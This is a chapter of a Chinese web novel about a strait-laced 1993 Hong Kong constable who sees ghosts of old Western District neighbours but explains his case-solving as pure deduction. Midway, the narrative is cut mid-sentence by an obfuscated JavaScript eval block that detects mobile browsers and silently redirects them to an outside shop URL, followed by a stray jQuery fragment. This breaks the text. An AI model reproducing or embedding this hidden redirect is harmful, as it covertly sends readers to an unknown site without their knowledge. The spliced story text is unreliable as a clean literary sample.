1993年，西环，德辅道西。
九月的香江，秋老虎依旧霸道。暑热未消，午后的阳光格外炽烈，毫不留情地炙烤着柏油路面，蒸腾起阵阵热浪。
街道上弥漫着属于那个年代的独特气息——凉茶铺里飘散出草药的甘醇，大排档的锅气中混杂着油脂的焦香，路边小摊的烟草味若有若无地浮动，连同霓虹灯牌在白天尚未完全熄灭的微温，共同交织成九十年代香港最鲜活、最地道的市井味道。
在马路拐角处，一栋老旧的英式红砖建筑默然矗立，外墙的白色漆面早已斑驳，岁月留下了深深浅浅的痕迹。门楣上悬挂的招牌虽已褪色，但烫金的字迹在光影中依然清晰可辨——西区警署，坊间俗称“七号差馆”。
这间差馆已在此扎根数十年，管辖着周边老街纵横的巷弄、烟火鼎盛的大排档区、密集陈旧的唐楼，以及每一个充满生活痕迹的街头巷尾。
这里没有中环金融区的繁华喧嚣，也远离尖沙咀霓虹下的紧张刺激。
西环一带最常见的案件，并非枪林弹雨的警匪追逐，也不是帮派之间的激烈火拼，而多是街坊邻里间的琐碎纷争：比如阿婆遗失了一副心爱的麻将牌，小贩收摊时发现零钱箱被顺手牵羊，年轻古惑仔赌马输钱后借酒闹事，或是邻居因日常口角摔碗砸盆……在众多警署之中，七号差馆或许堪称全港最清闲、最富乌龙趣闻、也最深入市井肌理的一处。
此时，差馆大堂内，老式冷气机正发出持续的运转声，头顶的吊扇缓慢转动，偶尔传来“吱呀”的轻响，仿佛在诉说岁月的沉淀。然而，与往日略显松散的氛围不同，此刻堂中的空气却透着一股不同寻常的肃穆。
身着整齐制服的军装警员方正气，腰侧佩着警棍，头戴警帽，身姿挺拔如松。他后背绷得笔直，神情庄重，脸上写满刚正不阿的凛然之气，一双眼睛正目不转睛、严肃认真地注视着面前的督察——周SIR。
方正气今年二十六岁，正是风华正茂的年纪，他眉目生得极为端正、眉眼之间透着一股子罕见的干净气息。那一身警服总是穿得一丝不苟、整整齐齐，连每一颗纽扣都严谨地扣到最顶端，从无半分松懈。在七号差馆里，他是出了名的死板老实人、公认的模范乖警员，行事作风刻板得几乎成了标志。
入职整整三年来，他的记录清白无瑕——从不迟到早退、从不摸鱼懈怠、从不偷吃零食、也从不偷懒耍滑。在纪律考核上永远是满分通过，可在人情世故、职场情商方面，却恐怕连及格线都够不上，堪称负数水平。
此刻，周SIR正坐在办公桌后，指尖有一搭没一搭地敲着实木桌面，眉头紧紧锁成一道深沟，脸上写满了恨铁不成钢的无奈与焦躁。
“方正气！”他声音低沉而威严，带着英式警务制度传承下来的那种刻板严厉，“你今日外出执勤，又当众自言自语？”
这话一出，整个差馆大堂瞬间陷入一片死寂，连头顶老式吊扇“嘎吱”转动的声响，都仿佛识趣地压低了几分。
阿正瞳孔骤然一缩，身体瞬间绷直，立刻“啪”地立正敬礼，语气铿锵有力、掷地有声：“报告周SIR！我没有自言自语！我是在进行现场复盘、执行逻辑推演、开展痕迹分析！”
这番话甫一出口，旁边正趴在柜台边偷闲摸鱼的马骝，差点把嘴里那口冻柠茶全喷出来。
马骝死死叼着吸管，强忍那股冲喉而上的笑意，肩膀控制不住地一抽一抽，只得深深低下头去，整张脸憋得通红，几乎要内伤。
整个七号差馆里，谁人不知、哪个不晓——
咱们这位方正气警员啊，怕是撞见鬼了。
说得再准确些，是三年前那场突如其来的意外之后，他就彻底……不对劲了。
三年前的深秋，也就是1990年，阿正刚刚加入警队不久，还是个新人。那天，他跟着一位经验丰富的前辈，执行一次抓捕任务，目标是一个在街头流窜的小偷。没想到，那个小偷在穷途末路之际，竟然凶性大发，掏出一把自制的土枪，在慌乱中朝四周胡乱射击。其中一颗子弹，几乎是贴着阿正的脑袋飞过，从他的后脑勺边缘贯穿而出。
阿正被紧急送往医院，手术室里的抢救持续了整整八个小时，连医生都连连摇头，说这种情况简直是九死一生，生还的希望极其渺茫。然而，阿正的生命力异常顽强，他硬是从鬼门关前挣脱，奇迹般地捡回了一条命。
性命虽然保住了，但严重的后遗症也随之而来，并且彻底改变了他的生活。
从那次重伤恢复后，阿正开始发现自己身上出现了一种无法解释的现象：他总能看见一些其他人根本看不见的“人”。这些突然出现在他视野里的身影，并不像恐怖故事里描述的那样吓人。他们既不面目狰狞、青面獠牙，也不浑身血污、厉声索命。
恰恰相反，他们看上去就是最最普通寻常的老街坊、旧相识，比如以前常在巷口摆摊的小贩，或者早已搬走的老居民。他们的行为也很平常：有的蹲在熟悉的街角，仿佛在低头寻找着什么遗失的物件；有的孤零零站在十字路口，望着车流不住地摇头叹气；还有的坐在早已关张的大排档门口，对着空空如也的桌面，怔怔地发呆。
一开始，阿正被这种诡异的“视觉”折磨得几乎崩溃，夜夜无法入睡。他怀疑自己是不是因为头部受创，患上了严重的创伤后应激障碍，甚至是精神出现了问题，产生了幻觉。
但时间久了，他慢慢察觉到一些规律。这些只有他能看见的“人”，活动范围似乎只局限在西环老街和七号差馆附近这一片老城区。他们嘴里念叨的，也无非是些家长里短、鸡毛蒜皮的琐碎小事，而且从未表现出任何要伤害他的意图。
更离奇、甚至可以说“离谱”的是——每当阿正无意中听到他们的念叨，或者顺着他们“指引”的方向去留意，他总能因此发现一些被忽略的线索，继而精准地破获一些悬而未决的小案件。无论是街坊丢失的财物、商铺遭遇的失窃，还是卷款跑路的小贼，只要他“看见”了那些“人”，案件总能迎刃而解，无一例外。
然而，阿正骨子里是个彻头彻尾的、坚定的无神论者。他打死也不愿意承认自己有了什么“阴阳眼”，能看见所谓的“鬼魂”。
面对所有无法用常理解释的“灵异”现象，他自有一套严丝合缝的“科学”解释：那都是自己重伤后被激发的、超越常人的观察力；是大脑在潜意识层面进行的、高速而缜密的推理；是对犯罪现场痕迹的一种超前预判。哪怕身边所有的同事、朋友，甚至整个街区的人都渐渐知晓并私下议论他“撞了阴眼”，他自己也坚决否认，嘴硬到底，将这套“唯物主义”理论奉行至死不渝。
周SIR用力揉着发胀的太阳穴，一阵阵钝痛不断袭来，让他感到无比烦躁。这已经是本月第五次收到类似的投诉了，每一次都让他感到心力交瘁。
街坊邻居们纷纷反映：七号差馆里有个年轻警员，执勤时举止十分怪异。他常常对着空无一人的街角喃喃自语，神情专注得像在与人对话；有时又会突然对着马路郑重其事地敬礼，仿佛在迎接什么重要人物；甚至还会坐在大排档的空座位上，对着空气苦口婆心地讲道理。他的一举一动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632882|206456||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
都透着一股说不出的诡异，好几次把路过的老人家吓得够呛。
“阿正，我这是最后一次跟你谈这个问题了。”周SIR放下手中的保温杯，杯中的茶水已经凉了，他的语气里满是疲惫和无奈，“警局是纪律严明的部门，不是你用来发呆或者冥想的地方。街坊们的投诉越来越多，影响很不好。如果你再这样下去，我只能考虑把你调到内勤部门，专门负责写报告和整理档案，不能再参与外勤执勤了。”
阿正闻言立刻抬起头，眼神里透着不容置疑的认真：“周SIR，我真的不是在发呆！刚才街口那栋唐楼有明显的失窃痕迹，我正在根据现场的环境和动线，仔细推演小偷可能的逃跑路线和藏匿地点！”
就在他话音刚落的时候，眼角的余光又瞥见了那个再熟悉不过的身影。
差馆门口的骑楼底下，一个穿着洗得发白的旧背心、趿拉着破旧人字拖、满头大汗的中年男人，正叉着腰站在那里，一脸愤愤不平地对着空气大声骂街，情绪激动得手舞足蹈。
那男人皮肤被晒得黝黑发亮，一双宽厚的手掌布满了老茧，浑身散发着浓浓的烟火气息——他就是当年在西环开了十几年大排档、却在九二年因突发心梗不幸离世的叉烧叔。
整个西环地区，如今只有阿正一个人能够看见他的身影。
此刻，叉烧叔正气得在原地直跺脚，唾沫星子四处飞溅，他扯着嗓门怒吼道：“简直太离谱了！实在是太离谱了！我们西环的治安什么时候变得这么糟糕了！就在今天凌晨，又有个不知死活的衰仔，竟敢偷偷摸摸把我老店门口那坛秘制的叉烧酱汁给顺走了！”
“平日里偷几块肉我也就忍了，现在居然连酱汁都敢偷？那可是我祖传的独家配方啊！偷我的酱汁，简直就像是要断了我家的香火传承一样可恶！”
“方正气！你这个死板不懂变通的警员！亏得你老母给你起名作‘正气’！光站在这里听我骂有什么用！还不赶紧给我去查！那个偷酱汁的衰仔肯定就躲在后街那些小巷子里！”
叉烧叔全程都紧贴在阿正的耳边疯狂咆哮，音量极大，情绪异常激动，仿佛要把所有的怒火都倾泻出来。
然而，周围的旁人却完全听不到半点声响，仿佛这一切喧闹都被隔绝在了另一个空间里。只有阿正一个人感觉耳膜被震得嗡嗡作响，持续不断的轰鸣在脑中回荡。
他面不改色，神色反而变得更加严肃凝重，脑子里正飞速地进行着自我合理化与推理：
【刚才脑海中突然清晰地浮现出几条线索：后街巷子、凌晨发生的偷窃行为、以及秘制酱汁失窃的具体情况。】
【这一定是因为我刚才仔细观察了街口周围的环境，捕捉到了那些细微的、不易察觉的痕迹，潜意识自动进行了整合与推演，才得出了这些线索。】
【整个过程逻辑通顺，有理有据，绝不是什么鬼神怪力在作祟，完全是我自身专业能力的体现。】
想到这里，阿正立刻挺直腰板，抬手敬了一个标准的礼，声音洪亮地报告道：“报告周SIR！属下刚刚通过现场观察和环境分析完成了案情推演！辖区内出现一宗新型失窃案件，涉案物品较为特殊，现有线索已明确指向后街窄巷区域！请求批准即刻出更，展开侦查办案！”
周SIR闻言，不由得微微一怔，脸上浮现出一抹无奈的苦笑。
怎么又是这样？
几乎每一次，只要这小子对着空气煞有介事地完成他那套独门“演说”，紧接着就必然会精准地撞上一桩需要处理的案件，这巧合的频率高得简直令人匪夷所思。